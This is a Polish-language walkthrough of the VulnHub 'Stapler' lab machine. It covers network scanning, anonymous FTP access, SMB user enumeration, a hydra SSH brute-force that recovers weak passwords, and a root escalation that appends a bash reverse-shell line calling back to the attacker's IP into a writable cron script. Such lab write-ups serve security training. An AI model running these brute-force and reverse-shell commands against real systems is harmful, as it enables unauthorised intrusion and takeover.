Jako pierwsze wykonałem standardowy skan swojej sieci.

[parrot@parrot][~/vulnhub/stapler]
└╼[]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                             
                                                                                                                                           
 126 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 7560                                                                        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08    106    6360  VMware, Inc.                                                                            
 192.168.2.2     00:50:56:f0:ed:fa     15     900  VMware, Inc.                                                                            
 192.168.2.144   00:0c:29:5b:05:48      2     120  VMware, Inc.                                                                            
 192.168.2.254   00:50:56:e2:f7:dc      3     180  VMware, Inc.

Adres IP: 192.168.2.144.


NMap

[parrot@parrot][~/vulnhub/stapler]                                                                                                        
└╼[]$nmap -sC -sV -p- 192.168.2.144                                                                                                       
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-05 13:48 CEST                                                                            
Nmap scan report for 192.168.2.144                                                                                                          
Host is up (0.012s latency).                                                                                                                
Not shown: 65523 filtered tcp ports (no-response)                                                                                           
PORT      STATE  SERVICE     VERSION                                                                                                        
20/tcp    closed ftp-data                                                                                                                   
21/tcp    open   ftp         vsftpd 2.0.8 or later                                                                                          
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                                      
|_Cant get directory listing: PASV failed: 550 Permission denied.                                                                          
| ftp-syst:                                                                                                                                 
|   STAT:                                                                                                                                   
| FTP server status:                                                                                                                        
|      Connected to 192.168.2.128                                                                                                           
|      Logged in as ftp                                                                                                                     
|      TYPE: ASCII                                                                                                                          
|      No session bandwidth limit                                                                                                           
|      Session timeout in seconds is 300                                                                                                    
|      Control connection is plain text                                                                                                     
|      Data connections will be plain text                                                                                                  
|      At session startup, client count was 1                                                                                               
|      vsFTPd 3.0.3 - secure, fast, stable                                                                                                  
|_End of status                                                                                                                             
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, SupportsLoadDataLocal, Speaks41ProtocolOld, IgnoreSigpipes, InteractiveClient, ConnectWithDatabase, Sp
eaks41ProtocolNew, SupportsTransactions, FoundRows, IgnoreSpaceBeforeParenthesis, ODBCClient, LongPassword, SupportsCompression, DontAllowDa
tabaseTableColumn, LongColumnFlag, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x17^\x15n\x1Ec|YMX2\x1F_EU\x16\x11\x077I
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2022-08-05T14:50:52+01:00
|_clock-skew: mean: 1h40m00s, deviation: 34m38s, median: 1h59m59s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2022-08-05T13:50:53
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Widzimy kilka otwartych portów. Zacznę od enumeracji FTP na porcie 21.


FTP

[parrot@parrot][~/vulnhub/stapler]
└╼[]$ftp 192.168.2.144                                                                                       
Connected to 192.168.2.144.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220 
Name (192.168.2.144:parrot): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.02 secs (6.6488 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> exit
221 Goodbye.

Łączenie na FTP jako anonymous powiodło się. Pojawił się nawet baner z nazwą użytkownika harry, co na pewno przyda nam się później. Udało się także pobrać plik note. Jego zawartość to:

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Ok, zatem mamy już 3 potencjalnych użytkowników.

users.txt

harry
elly
john

Port 22 - OpenSSH 7.2p2

Mamy możliwość enumeracji userów.

Początkowo skrypt 40136.py nie działał ze względu na błąd AttributeError: module 'time' has no attribute 'clock'. Po zmianie time.clock() na time.perf_counter(). Skrypt zaczął działać poprawnie.

Sam skrypt wykonam potem, gdy przeprowadzę enumerację wszystkich usług i portów.


Port 80 - HTTP

Z NMapa oraz po interfejsie widać, że to PHP. Przeprowadziłem skan FeroxBusterem, ale nie znalazłem nic konkretnego poza kilkoma pliczkami z folderu głównego, któregoś usera. Były to pliki m.in. bash.rc, .bash_logout, .profile.


Port 666 - Doom

Mamy otwarty nietypowy port. Zazwyczaj z tego portu korzysta gierka Doom. W tym przypadku, gdy użyłem nc do podejrzenia co odpowiada ten port, otrzymałem dziwną odpowiedź.

Widać już tutaj, że będzie to plik graficzny message2.jpg.

nc 192.168.2.144 666 > file.png

Po przekierowaniu tego do file.png próbowałem zobaczyć w edytorze graficznym co to jest, ale plik nie otwierał się poprawnie.

Okazało się, że pliczek należy rozpakować i właśnie w nim był pliczek message2.jpg.

Okazało się, że to easter egg, chociaż mamy dodatkowego usera scotta.

Użyłem również exiftool. Jedna ze zmiennych miała zapisany tekst.

Cookie, tylko gdzie…


Port 3306 - MySQL 5.7.12

Gdy tylko mam dokładne wersje oprogramowania, zawsze sprawdzam czy są jakieś exploity w searchsploit. W tym przypadku mamy tylko Integer Overflow, co nam nie pomoże.


Port 12380 - Apache httpd 2.4.18

W kodzie źródłowym znalazłem ciekawą notkę.

Kolejny user - zoe. Natomiast nie ma tutaj nic więcej.


enum4linux

Zauważyłem, że zawsze, gdy jest Samba, warto użyć enum4linux.

[parrot@parrot][~/vulnhub/stapler]                                                                                                                          
└╼[]$enum4linux 192.168.2.144
...
...
 ==========================================                                                                                                          [294/813]
|    Share Enumeration on 192.168.2.144    |                                                                                                                  
 ==========================================                                                                                                                   
                                                                                                                                                              
        Sharename       Type      Comment                                                                                                                     
        ---------       ----      -------                                                                                                                     
        print$          Disk      Printer Drivers                                                                                                             
        kathy           Disk      Fred, What are we doing here?                                                                                               
        tmp             Disk      All temporary files should be stored here                                                                                   
        IPC$            IPC       IPC Service (red server (Samba, Ubuntu))                                                                                    
SMB1 disabled -- no workgroup available                                                                                                                       
                                                                                                                                                              
[+] Attempting to map shares on 192.168.2.144                                                                                                                 
//192.168.2.144/print$  Mapping: DENIED, Listing: N/A                                                                                                         
//192.168.2.144/kathy   Mapping: OK, Listing: OK                                                                                                              
//192.168.2.144/tmp     Mapping: OK, Listing: OK                                                                                                              
//192.168.2.144/IPC$    [E] Cant understand response:                                                                                                        
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                                                    
                                                                                                                                                              
 =====================================================                                                                                                        
|    Password Policy Information for 192.168.2.144    |                                                                                                       
 =====================================================                                                                                                        
                                                                                                                                                              
                                                                                                                                                              
[+] Attaching to 192.168.2.144 using a NULL share                                                                                                             
                                                                                                                                                              
[+] Trying protocol 139/SMB...                                                                                                                                

[+] Found domain(s):

        [+] RED
        [+] Builtin

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                   
S-1-22-1-1000 Unix User\peter (Local User)                                                                                                                    
S-1-22-1-1001 Unix User\RNunemaker (Local User)                                                                                                               
S-1-22-1-1002 Unix User\ETollefson (Local User)                                                                                                               
S-1-22-1-1003 Unix User\DSwanger (Local User)                                                                                                                 
S-1-22-1-1004 Unix User\AParnell (Local User)                                                                                                                 
S-1-22-1-1005 Unix User\SHayslett (Local User)                                                                                                                
S-1-22-1-1006 Unix User\MBassin (Local User)                                                                                                                  
S-1-22-1-1007 Unix User\JBare (Local User)                                                                                                                    
S-1-22-1-1008 Unix User\LSolum (Local User)                                                                                                                   
S-1-22-1-1009 Unix User\IChadwick (Local User)                                                                                                                
S-1-22-1-1010 Unix User\MFrei (Local User)                                                                                                                    
S-1-22-1-1011 Unix User\SStroud (Local User)                                                                                                                  
S-1-22-1-1012 Unix User\CCeaser (Local User)                                                                                                                  
S-1-22-1-1013 Unix User\JKanode (Local User)                                                                                                                  
S-1-22-1-1014 Unix User\CJoo (Local User)                                                                                                                     
S-1-22-1-1015 Unix User\Eeth (Local User)                                                                                                                     
S-1-22-1-1016 Unix User\LSolum2 (Local User)                                                                                                                  
S-1-22-1-1017 Unix User\JLipps (Local User)                                                                                                                   
S-1-22-1-1018 Unix User\jamie (Local User)                                                                                                                    
S-1-22-1-1019 Unix User\Sam (Local User)                                                                                                                      
S-1-22-1-1020 Unix User\Drew (Local User)                                                                                                                     
S-1-22-1-1021 Unix User\jess (Local User)                                                                                                                     
S-1-22-1-1022 Unix User\SHAY (Local User)                                                                                                                     
S-1-22-1-1023 Unix User\Taylor (Local User)                                                                                                                   
S-1-22-1-1024 Unix User\mel (Local User)                                                                                                                      
S-1-22-1-1025 Unix User\kai (Local User)                                                                                                                      
S-1-22-1-1026 Unix User\zoe (Local User)                                                                                                                      
S-1-22-1-1027 Unix User\NATHAN (Local User)                                                                                                                   
S-1-22-1-1028 Unix User\www (Local User)                                                                                                                      
S-1-22-1-1029 Unix User\elly (Local User)

Mamy sporo ciekawych informacji. Przede wszystkim jest cała lista użytkowników. Użyję awk, aby utworzyć gotowy plik users.txt ze wszystkimi.

Najpierw wrzuciłem cały powyższy output do users.txt. Najpierw separatorem była spacja a potem użyłem awk jeszcze raz z separatorem na \. Tak otrzymałem gotową listę

[parrot@parrot][~/vulnhub/stapler]                                                                                                                          
└╼[]$awk '{print $3}' users.txt | awk -F'\' '{print $2}'                                                                                                    
peter                                                                                                                                                         
RNunemaker                                                                                                                                                    
ETollefson                                                                                                                                                    
DSwanger                                                                                                                                                      
AParnell                                                                                                                                                      
SHayslett                                                                                                                                                     
MBassin                                                                                                                                                       
JBare                                                                                                                                                         
LSolum                                                                                                                                                        
IChadwick                                                                                                                                                     
MFrei                                                                                                                                                         
SStroud                                                                                                                                                       
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly

SSH Enum -> Limited shell

Gdy mam już całą listę userów, teraz można przeprowadzić próbę brute-force.

[parrot@parrot][~/vulnhub/stapler]
└╼[]$hydra -L users.txt -P /opt/SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ssh://192.168.2.144                    
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-06 16:06:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 814 login tries (l:37/p:22), ~51 tries per task
[DATA] attacking ssh://192.168.2.144:22/
[22][ssh] host: 192.168.2.144   login: MFrei   password: letmein
[STATUS] 269.00 tries/min, 269 tries in 00:01h, 550 to do in 00:03h, 16 active
[22][ssh] host: 192.168.2.144   login: Drew   password: qwerty
[STATUS] 261.00 tries/min, 522 tries in 00:02h, 298 to do in 00:02h, 16 active
[STATUS] 262.00 tries/min, 786 tries in 00:03h, 34 to do in 00:01h, 16 active
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-06 16:10:11

MFrei:letmein Drew:qwerty

Użyłem bardzo małego słownika, ale mimo to mamy efekty. Udało mi się zalogować na usera Drew 😃


Privileges Escalation

Mamy dwie ścieżki na roota na pierwszy rzut oka.

  1. Jądro systemu ma wiele podatności. Część jest wypisana tutaj https://github.com/kkamagui/linux-kernel-exploits.

  1. Mamy uprawnienie write do skryptu, który jest w cronie.

Zawartość skryptu:

Drew@red:/etc/cron.d$ cat /usr/local/sbin/cron-logrotate.sh
#Simon, you really need to-do something about this

Spróbuję podejść do crona.

Gdy zerkniemy sobie do /etc/cron.d, zobaczymy między innymi nasz skrypcik logrotate.

Drew@red:/etc/cron.d$ ls -al
total 32
drwxr-xr-x   2 root root  4096 Jun  3  2016 .
drwxr-xr-x 100 root root 12288 Aug  6 21:25 ..
-rw-r--r--   1 root root   102 Jun  3  2016 .placeholder
-rw-r--r--   1 root root    56 Jun  3  2016 logrotate
-rw-r--r--   1 root root   589 Jul 16  2014 mdadm
-rw-r--r--   1 root root   670 Mar  1  2016 php

Jego zawartość to:

*/5 *   * * *   root  /usr/local/sbin/cron-logrotate.sh

Pomogłem sobie stroną https://crontab.guru/, ponieważ nie mam doświadczenia w czytaniu wyrażeń crona.

Jak widać, skrypcik wykonuje się co każde 5 minut. Można więc dopisać prosty reverse shell i otrzymamy roota.

Dopisuję do /usr/local/sbin/cron-logrotate.sh poniższą linię.

/bin/bash -c 'bash -i >& /dev/tcp/"192.168.2.128"/9001 0>&1'

I o równej 21:10 otrzymuję roota 😁

Stapler miał bardzo dużo tzw. rabbit holes. W naszym przypadku były to porty/usługi, które często sprowadzały na zły trop. Finalnie udało się dostać na roota. Myślę, że jeszcze prościej byłoby wykonać exploita na jądrze systemu, ale dzisiaj poćwiczyłem crontaba 😉


Root proof